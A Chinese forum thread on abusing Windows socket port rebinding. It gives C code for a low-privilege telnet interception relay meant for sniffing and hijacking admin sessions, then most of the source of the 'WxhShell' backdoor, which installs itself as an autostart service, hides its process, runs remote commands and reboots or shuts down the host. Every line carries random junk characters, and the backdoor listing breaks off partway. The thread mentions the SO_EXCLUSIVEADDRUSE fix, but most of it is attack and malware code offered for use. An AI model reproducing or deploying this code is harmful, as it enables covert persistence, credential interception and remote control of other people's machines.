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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N `fFYO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0o6o<ggi  
<n~.X<6V'  
  saddr.sin_family = AF_INET; P0hr=/h4  
*kTp(*K/7`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BB V>Q L  
w,R6:*p5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F9% +7Op^  
xSlgq|8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2|B@s3a  
8<C@I/  
  这意味着什么?意味着可以进行如下的攻击: $9X?LGUz  
v JVh%l+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q2woCx B  
3c wBPqH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $XMpC{  
l=Pw yJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,2^A<IwR  
JTBt=u{6^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /z`tI  
\{~CO{II  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dvZlkMm   
k2,`W2] ^E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,mi7WW9  
Mk973 'K'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9h)8Mq+M  
:~srl)|)  
  #include *HGhm04F{  
  #include v+79#qWK|n  
  #include c9CFGo?)N  
  #include    .;ofRx<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jJt4{c  
  int main() (RG "2I3  
  { 1MnC5[Q  
  WORD wVersionRequested; wxPl[)E  
  DWORD ret; d&Nji%Ej  
  WSADATA wsaData; i^A=nsD`  
  BOOL val; 94t`&jZ&|u  
  SOCKADDR_IN saddr; 5=<KA   
  SOCKADDR_IN scaddr; ~$j;@ 4  
  int err; A<TYt M  
  SOCKET s; Yh@2m9  
  SOCKET sc; A8ef=ljM?  
  int caddsize; k4u/v n`&r  
  HANDLE mt; qP##C&+#q  
  DWORD tid;   J65:MaS  
  wVersionRequested = MAKEWORD( 2, 2 ); m8R=wb :  
  err = WSAStartup( wVersionRequested, &wsaData ); j)YX=r;xM  
  if ( err != 0 ) { S-~)|7d.  
  printf("error!WSAStartup failed!\n"); y^nT G  
  return -1; 1=,2i)  
  } m}oR*<.  
  saddr.sin_family = AF_INET; f/IQ2yT-:D  
   f5un7,m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }YM\IPsPu  
e<a*@ P,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :& :P4Y1 E  
  saddr.sin_port = htons(23); -%%Xx5D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sj|tR[SAoD  
  { EEK!'[<,sE  
  printf("error!socket failed!\n"); pYr+n9)^  
  return -1; zks7wt]A  
  } L Yd:S  
  val = TRUE; Y`4 LMK[]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J=: \b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q^3{L\6_  
  { S&XlMu  
  printf("error!setsockopt failed!\n"); 6\I1J= C  
  return -1; 6J}Yr5oD  
  } 6vps`k$,~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nHq4f&(H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +,$pcf<[V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KfZb=v;-l  
]o0]i<:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WvfM.D!  
  { g"kI1^[nj  
  ret=GetLastError(); tu* uQ:Ipk  
  printf("error!bind failed!\n"); PUZcb+%]h  
  return -1; .oT'(6#  
  } 6~2upy~e  
  listen(s,2); *mJ#|3I<  
  while(1) =_ N[mR^  
  { qnWM  %k  
  caddsize = sizeof(scaddr); -OU{99$aS  
  //接受连接请求 o,c}L9nvt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }S?"mg& V  
  if(sc!=INVALID_SOCKET) Z[] 8X@IPe  
  { zF>;7'\x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B]()  
  if(mt==NULL) #>,E"-]f  
  { 6aHD?a o  
  printf("Thread Creat Failed!\n"); +/RR!vG,  
  break; t0@AfO.'1  
  } Jp}\@T.  
  } Ok{1{EmP  
  CloseHandle(mt);  |:x,|>/  
  } La '6k  
  closesocket(s); ~OR^  
  WSACleanup(); A?}[rM Z  
  return 0; P:vp/x!  
  }   `aG _m/7|  
  DWORD WINAPI ClientThread(LPVOID lpParam) + WMXd.iN,  
  { yFb"2  
  SOCKET ss = (SOCKET)lpParam; gCiM\Qx  
  SOCKET sc; 1j op;{,^  
  unsigned char buf[4096]; } S]!W\a  
  SOCKADDR_IN saddr; jn(!6\n"  
  long num; $cJ fdE  
  DWORD val; YaC[S^p  
  DWORD ret; <DR! AR)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _Y]Oloo('  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Cojs;`3iF:  
  saddr.sin_family = AF_INET; t^zE^:06  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :3 Hz!iZM  
  saddr.sin_port = htons(23); 2PRiiL@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %*npLDi  
  { p}pd&ut1  
  printf("error!socket failed!\n"); wuYak"KX  
  return -1; &QW&K  
  } Q3&D A1b`  
  val = 100; ZN;ondp4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E0fMFG^P  
  { ~|O;Sdo=  
  ret = GetLastError(); )`'a1y|  
  return -1; 8M,@Mb n  
  } )R'%SLw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QKts-b[3  
  { 4u%AZ<-C}m  
  ret = GetLastError(); +75"Q:I  
  return -1; .[1 f$  
  } (GpP=lSSeY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [M%? [E}>  
  { &oHr]=xA  
  printf("error!socket connect failed!\n"); +>*=~R  
  closesocket(sc); oQm XKV+[v  
  closesocket(ss); r nr-wUW@  
  return -1; mTWd+mx  
  } )8#-IXxp  
  while(1) S(xs;tZ  
  { KU oAxA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >bQOpGy}l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X`WS&!C<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jj=N+,km  
  num = recv(ss,buf,4096,0); U/s Z1u-  
  if(num>0) h4 9q(085V  
  send(sc,buf,num,0); eWex/ m  
  else if(num==0) fiA8W  
  break; R13k2jLSQ  
  num = recv(sc,buf,4096,0); JeNX5bXW  
  if(num>0) % 33O)<?  
  send(ss,buf,num,0); pt3)yj&XE  
  else if(num==0) DeNWh2  
  break; Fv %@k{  
  } ?6&G:Uz/  
  closesocket(ss); KGo^>us  
  closesocket(sc); KA{QGaZ/  
  return 0 ; $b{8 $<;9  
  } JU5,\3Lz#  
<X4f2z{T{@  
H!X*29nX  
========================================================== W5Pur lu?  
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下边附上一个代码,,WXhSHELL O|=?!|`o  
+2 oZML  
========================================================== cl&?'` )  
~uZ9%UB_m  
#include "stdafx.h" G;u~H<  
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#include <stdio.h> $^ ^M&[b-  
#include <string.h> ',WJ'g  
#include <windows.h> c U(z5th  
#include <winsock2.h> &K9RV4M5  
#include <winsvc.h> u1u;aG  
#include <urlmon.h> q5EkAh<PD|  
SnXM`v,  
#pragma comment (lib, "Ws2_32.lib") >.od(Fh{l|  
#pragma comment (lib, "urlmon.lib") 4xalm  
W=293mME  
#define MAX_USER   100 // 最大客户端连接数 ~'0n ]Fw  
#define BUF_SOCK   200 // sock buffer }b}jw.2Wu  
#define KEY_BUFF   255 // 输入 buffer \_R<Q?D+  
aBY&]6^-  
#define REBOOT     0   // 重启 k{F6WQ7  
#define SHUTDOWN   1   // 关机 0Qvr g+  
DO*6gzW  
#define DEF_PORT   5000 // 监听端口 ^ /%Y]d$  
W|rAn2H  
#define REG_LEN     16   // 注册表键长度 *dBmb  
#define SVC_LEN     80   // NT服务名长度 P{`fav  
PyHL`PZZ  
// 从dll定义API V/"RCqY4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;Wk3>\nT-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6 ]<yR> '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \eQPv kx2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ph.RWy")  
S[/udA   
// wxhshell配置信息 G"u4]!$/  
struct WSCFG { US9aW)8  
  int ws_port;         // 监听端口 t!J>853  
  char ws_passstr[REG_LEN]; // 口令 I/A%3i=H  
  int ws_autoins;       // 安装标记, 1=yes 0=no g5Io=e@s  
  char ws_regname[REG_LEN]; // 注册表键名 !- QB>`7$  
  char ws_svcname[REG_LEN]; // 服务名 0k?]~ f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /`aPV"$M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t4:/qy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7zE1>.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m zoH$@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =X[?d/[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !XI9evJw  
s!D2s2b9e  
}; fQ!W)>mi  
u0oTqD?  
// default Wxhshell configuration ,f,+)C$  
struct WSCFG wscfg={DEF_PORT, q^wSM  
    "xuhuanlingzhe", WpE "A  
    1, Xf7]+  
    "Wxhshell", w^nA/=;r  
    "Wxhshell", 0~W XA=XG  
            "WxhShell Service", Bv3B|D&+  
    "Wrsky Windows CmdShell Service", `H*mQERb  
    "Please Input Your Password: ", @RuMo"js  
  1, AOcUr)  
  "http://www.wrsky.com/wxhshell.exe", 811QpYA  
  "Wxhshell.exe" I D-I<Ev  
    }; T9r6,yY  
Y|hd!C-x  
// 消息定义模块 ks%;_~b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p^ROt'eQ<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !~'D;Jh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k6z]"[yu  
char *msg_ws_ext="\n\rExit."; \k=%G_W  
char *msg_ws_end="\n\rQuit."; Oz]$zRu/0  
char *msg_ws_boot="\n\rReboot..."; +CSR!  
char *msg_ws_poff="\n\rShutdown..."; .Sa=VC?EZ  
char *msg_ws_down="\n\rSave to "; 0Db=/sJ>  
HEa7!h[a'  
char *msg_ws_err="\n\rErr!"; zYdieE\-  
char *msg_ws_ok="\n\rOK!"; ,`a8@  
Em{;l:;(W  
char ExeFile[MAX_PATH]; W}zq9|p  
int nUser = 0; 3?_%|;ga  
HANDLE handles[MAX_USER]; 'BgR01w J  
int OsIsNt; z/QYy)_j  
i7YUyU  
SERVICE_STATUS       serviceStatus; OR|Jc+LT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b~)2`l  
E|_8#xvb  
// 函数声明 c`lL&*]  
int Install(void); /FPO'} 6i  
int Uninstall(void); !a!4^zqp  
int DownloadFile(char *sURL, SOCKET wsh); *u,&?fCl  
int Boot(int flag); I7Abf7>*Q  
void HideProc(void); 5t_Dt<lIz  
int GetOsVer(void); 6iEg]FI  
int Wxhshell(SOCKET wsl); @/$i -?E  
void TalkWithClient(void *cs); !>Q\Y`a,*  
int CmdShell(SOCKET sock); ^vxNS[C`;  
int StartFromService(void); ? }`mQ<~  
int StartWxhshell(LPSTR lpCmdLine); ==%5Ci7qMy  
w6Mv%ZO_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y )<+?@sP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f;,*P,K  
4,Uqcw?!F'  
// 数据结构和表定义 #(+V&< K  
SERVICE_TABLE_ENTRY DispatchTable[] = H`q[!5~8  
{ %i?v)EW  
{wscfg.ws_svcname, NTServiceMain}, @uQ *$  
{NULL, NULL} S-7C'dc  
}; zq?xY`E  
Q6 m.yds  
// 自我安装 >$ro\/  
int Install(void) 2!b##`UjA7  
{ oY; C[X  
  char svExeFile[MAX_PATH]; 7xG~4N<)]  
  HKEY key; -2 8bJ,  
  strcpy(svExeFile,ExeFile); #@1(  
^/x\HGrw  
// 如果是win9x系统,修改注册表设为自启动 "*MF=VB1  
if(!OsIsNt) { })J}7@VPO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =WZ@{z9J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HRu;*3+%>F  
  RegCloseKey(key); m"'`$/_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .EH1;/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ra H1aS(  
  RegCloseKey(key); MtoOIkQ  
  return 0; NN5Ejr,  
    } 7~k=t!gTY  
  } -g|ji.  
} "{t]~urLd  
else { 0O*kC43E_  
M,bs`amz  
// 如果是NT以上系统,安装为系统服务 AR$SQ_4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m_`%#$s}  
if (schSCManager!=0) x#R6Ez7  
{ ]T2Nr[vu  
  SC_HANDLE schService = CreateService P$*Ngt  
  ( yq^Ma  
  schSCManager, (vchZn#  
  wscfg.ws_svcname, s2 :Vm\  
  wscfg.ws_svcdisp, MPw?HpM  
  SERVICE_ALL_ACCESS, *0Fz." v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /m 7~-~$V  
  SERVICE_AUTO_START, #reW)P>  
  SERVICE_ERROR_NORMAL, Vi}E9I4  
  svExeFile, g0B%3v  
  NULL, x',6VTz^  
  NULL, Z|ZB6gP>h1  
  NULL, rzLW @k  
  NULL, /4+(eI7  
  NULL n5^57[(  
  ); BfVh\ lkH  
  if (schService!=0) uI%7jA~@  
  { Dh?I   
  CloseServiceHandle(schService); &oy')\H  
  CloseServiceHandle(schSCManager); =oI6yf&8 Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u*,>$(-u  
  strcat(svExeFile,wscfg.ws_svcname); d)acWF\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lmD [Cn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c$tX3ug6I  
  RegCloseKey(key); t4/ye>P &  
  return 0; JEMc_ngR!  
    } FOMJRq  
  } Q>rr?L`  
  CloseServiceHandle(schSCManager); #(i pF  
} 5$cjCjY  
} ]t`SCsoo  
N@}h  
return 1; ?2dI8bG  
} YhS_ ,3E  
 [)~1Lu  
// 自我卸载 kw]?/s`  
int Uninstall(void) Z[ (d7  
{ NVsaV;u  
  HKEY key; ~T-uk  
ar}-~~h 5  
if(!OsIsNt) { >8=lX`9f{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }f?[m&<  
  RegDeleteValue(key,wscfg.ws_regname); 72yJv=G  
  RegCloseKey(key); QHf&Z*Xtl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UXJblo#  
  RegDeleteValue(key,wscfg.ws_regname); [wnp]'+!  
  RegCloseKey(key); #9!7-!4pW  
  return 0; : MjDcI~  
  } ov;^ev,(  
} +jF2 {"  
} q#8yU\J|,  
else { 2.b,8wT/  
W ulyM cJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bE'{zU}o  
if (schSCManager!=0) 0gaHYqkA>}  
{ Y_!+Y<x7v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y68A+ B.  
  if (schService!=0) qIsf!1I?  
  { 6L$KMYHE  
  if(DeleteService(schService)!=0) { 4"(rZWv  
  CloseServiceHandle(schService); Dd pcov  
  CloseServiceHandle(schSCManager); ,p#B5Dif/  
  return 0; L~Peerby  
  } -`* 'p i  
  CloseServiceHandle(schService); m6n%?8t  
  } 'Kbrz  
  CloseServiceHandle(schSCManager); wL="p) TO.  
} t&J A1|q  
} seBmhe5qR  
>Bf3X&uS  
return 1; 2%`= LGQC  
} ,1N|lyV   
/o'lGvw  
// 从指定url下载文件 y#iz$lX R  
int DownloadFile(char *sURL, SOCKET wsh) f5Gn!xF  
{ xUsL{24  
  HRESULT hr; % ym};7'&b  
char seps[]= "/"; -9,~b9$  
char *token; WGUw`sc\  
char *file; $6pLsX  
char myURL[MAX_PATH];  R#^ku)0  
char myFILE[MAX_PATH]; }P.Z}n;Uj  
R )Arr77  
strcpy(myURL,sURL);  #O\as~-  
  token=strtok(myURL,seps); rlY0UA,  
  while(token!=NULL) >L2_k'uE+;  
  { SM4`Hys;p  
    file=token; -8Mb~Hfl0  
  token=strtok(NULL,seps); Ue >]uZ|  
  } rpm\!O  
"IT7.!=@9  
GetCurrentDirectory(MAX_PATH,myFILE); kexV~Q  
strcat(myFILE, "\\"); e7xBi!I)~  
strcat(myFILE, file); oYZ  4F  
  send(wsh,myFILE,strlen(myFILE),0); 7KhS{w6  
send(wsh,"...",3,0); rMbq_5}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0r1GGEW`s  
  if(hr==S_OK) 9 $$uk'}w!  
return 0; \+O.vRc"M  
else Z6i~Dy3  
return 1; PD.$a-t  
S, AxrQc  
} \j62"  
"N6HX*  
// 系统电源模块 "j,vlG  
int Boot(int flag) J~]@#=,v  
{ ?1JY6v]h4  
  HANDLE hToken; NF6xKwRU]_  
  TOKEN_PRIVILEGES tkp; {Fw"y %a^  
-GPJ,S V>  
  if(OsIsNt) { >aO.a[AM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ra T9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;98b SR/  
    tkp.PrivilegeCount = 1; ?0qD(cfx<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6Qt(Yu*s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <Q9l'u]3$c  
if(flag==REBOOT) { _90D4kGU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?`Yu~a{  
  return 0; .k]`z>uv  
} (is',4^b  
else { $It mYj.m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D0FX"BY7  
  return 0; 3P2{M}WIl  
} P|$n   
  } 7b>_vtrt  
  else { WK`o3ayH-  
if(flag==REBOOT) { M8X6!"B$Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {f #QZS!E  
  return 0; %%s)D4sW  
} 9efey? z  
else { S9Yzvq!(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3d6z_Yd:  
  return 0; ITw *m3  
} W<X3!zuKSg  
} )tI^2p{  
x:MwM?  
return 1; s"=TM$Vb  
} 8c)GUx  
nD BWm`kN  
// win9x进程隐藏模块 t[`LG)  
void HideProc(void) Gg'!(]v  
{ .T9$O]:o  
m1pA]}Y/5o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @-dGZ 5  
  if ( hKernel != NULL ) F(ydqgH~a  
  { Hq W /  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .t1:;H b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w{*kbGB8s7  
    FreeLibrary(hKernel); KSchgon0V  
  } <!Cjq,Sk7  
,6;n[p"h|r  
return; *pwkv7Z h  
} gvuv>A}vJ  
%(W&(eN  
// 获取操作系统版本 8)1q,[:M  
int GetOsVer(void) {k3ItGQ_  
{ =m2_:&@0x  
  OSVERSIONINFO winfo; W:RjWn@<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 H P 66B  
  GetVersionEx(&winfo); 6v3l^~kc'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @@o J@;  
  return 1; GB|>eZLv<  
  else tVAo o-%  
  return 0; &<e18L 7a  
} F}u'A,Hc  
&6vaLx  
// 客户端句柄模块 [WR"#y  
int Wxhshell(SOCKET wsl) ]!{S2x&"  
{ ]M*`Y[5"  
  SOCKET wsh; I:TbZ*vi~  
  struct sockaddr_in client; "Wg,]$IvU  
  DWORD myID; :1*E5pX0n  
%jjPs .  
  while(nUser<MAX_USER) e&z@yy$  
{ 0!3. .5==  
  int nSize=sizeof(client); T&'Jc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?A|JKOst]  
  if(wsh==INVALID_SOCKET) return 1; wPM>-F  
IQO|)53)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )ovAGO  
if(handles[nUser]==0) 1;(h0j  
  closesocket(wsh); <4Gy~?  
else 61H_o7XXk  
  nUser++; \lQ3j8 U  
  } ~Q_7HJ=^$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^ 0YQlT98  
?2&= +QaT  
  return 0; &K0b3AWc  
} Wz' !stcp  
We{@0K/O  
// 关闭 socket MMFg{8  
void CloseIt(SOCKET wsh) xZ`z+)  
{ (-WRZLOQ  
closesocket(wsh); t\ oud{Cv  
nUser--; I%J>~=]n_  
ExitThread(0); **h4M2'C  
} AZQQge  
?) y}HF  
// 客户端请求句柄 a|z-EKV  
void TalkWithClient(void *cs) v](Y n) #  
{ eI$ V2  
< 9,h!  
  SOCKET wsh=(SOCKET)cs; MG vz-E1e  
  char pwd[SVC_LEN]; s9+):,dKP  
  char cmd[KEY_BUFF]; *Mhirz% iD  
char chr[1]; ~".@mubt1$  
int i,j; I.3~ctzu  
V,rc&97  
  while (nUser < MAX_USER) { -E?:W`!  
o^~ZXF}  
if(wscfg.ws_passstr) { @[J6JT*E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *,Bm:F<m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $"vz>SuB  
  //ZeroMemory(pwd,KEY_BUFF);  .+1I>L  
      i=0; #sc!H4  
  while(i<SVC_LEN) { f/J/tt  
,7j8+p|},  
  // 设置超时 G~5pMyOR  
  fd_set FdRead; |2l-s 1|y  
  struct timeval TimeOut; -0CBMoe  
  FD_ZERO(&FdRead); .JLJ(WM  
  FD_SET(wsh,&FdRead); *gwaW!=  
  TimeOut.tv_sec=8; 44*#qLN  
  TimeOut.tv_usec=0; @6G)(NGD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hq}g1?b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /.0K#J:  
UAF$bR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #S?^?3d  
  pwd=chr[0]; %8n<#0v-|4  
  if(chr[0]==0xd || chr[0]==0xa) { u*@R`,Y   
  pwd=0; ;=,-C ;`  
  break; `6VnL)  
  } O z0-cM8t  
  i++; H*N<7#  
    } P6GTgQ<'BA  
,ho",y  
  // 如果是非法用户,关闭 socket g,\kLTg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -]0:FKW  
} CBd%}il  
&tZIWV1&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v<v;ZR)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 06&;GW!-  
\]<R`YMV  
while(1) { h&j2mv(  
DD=X{{;D\"  
  ZeroMemory(cmd,KEY_BUFF); ( 3B1X  
s@{82}f~  
      // 自动支持客户端 telnet标准   anW['!T9{s  
  j=0; ~Yd[&vpQ  
  while(j<KEY_BUFF) { 29J|eBvxx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5.5kH$;>  
  cmd[j]=chr[0]; )L9eLxI  
  if(chr[0]==0xa || chr[0]==0xd) { Trs~KcsD  
  cmd[j]=0; E'\gd7t ;  
  break; t[q2 W"#.  
  } y7UU'k`  
  j++; xH2'PEjFM  
    } S} UYkns*  
1!^BcrG.  
  // 下载文件 "~ID.G|<  
  if(strstr(cmd,"http://")) {  G06;x   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F\N0<o  
  if(DownloadFile(cmd,wsh)) 7#C$}1XJ1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \L(jNN0_R  
  else bWA_a]G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T@ESMPeU:X  
  } k4$zM/ob  
  else { q+9^rQ  
8)8~c@  
    switch(cmd[0]) { y 0p=E^Q M  
  fC'u-m?!Q'  
  // 帮助 sX6\AYF1M  
  case '?': { y<6Sl6l*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^4`x:6m  
    break; p'LLzc##  
  } $EY[CA E  
  // 安装 X i"9y @  
  case 'i': { &qWg$_Yh  
    if(Install()) cV>?*9z0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,5zY1C==Ut  
    else 1L::Qu%E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :.AC%'S  
    break; 3Y#  
    } c<_1o!68  
  // 卸载 h i!K-_Uy  
  case 'r': { *66EkCj  
    if(Uninstall()) a.<XJ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =* 'yGB[x)  
    else ;cf$u}+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (KC08  
    break; fwt+$`n  
    } ?jMM@O`Nu  
  // 显示 wxhshell 所在路径 !7\dr )  
  case 'p': { 9QP=  
    char svExeFile[MAX_PATH]; 8WDL.IO  
    strcpy(svExeFile,"\n\r"); e*'bY;8lo  
      strcat(svExeFile,ExeFile); b&!}SZ  
        send(wsh,svExeFile,strlen(svExeFile),0); (+v':KH3_  
    break; 7a9">:~  
    } D>jtz2y=D  
  // 重启 Ch?yk^cY  
  case 'b': { iyCH)MA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {s@!N  
    if(Boot(REBOOT)) Ydsnu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q#yHH]U)X  
    else { mH;t)dT  
    closesocket(wsh); N_:!uR  
    ExitThread(0); Lfx a^0  
    } e6'0g=Y#   
    break; j6^.Q/{^  
    } ^kK")+K  
  // 关机 pWzYC@_W  
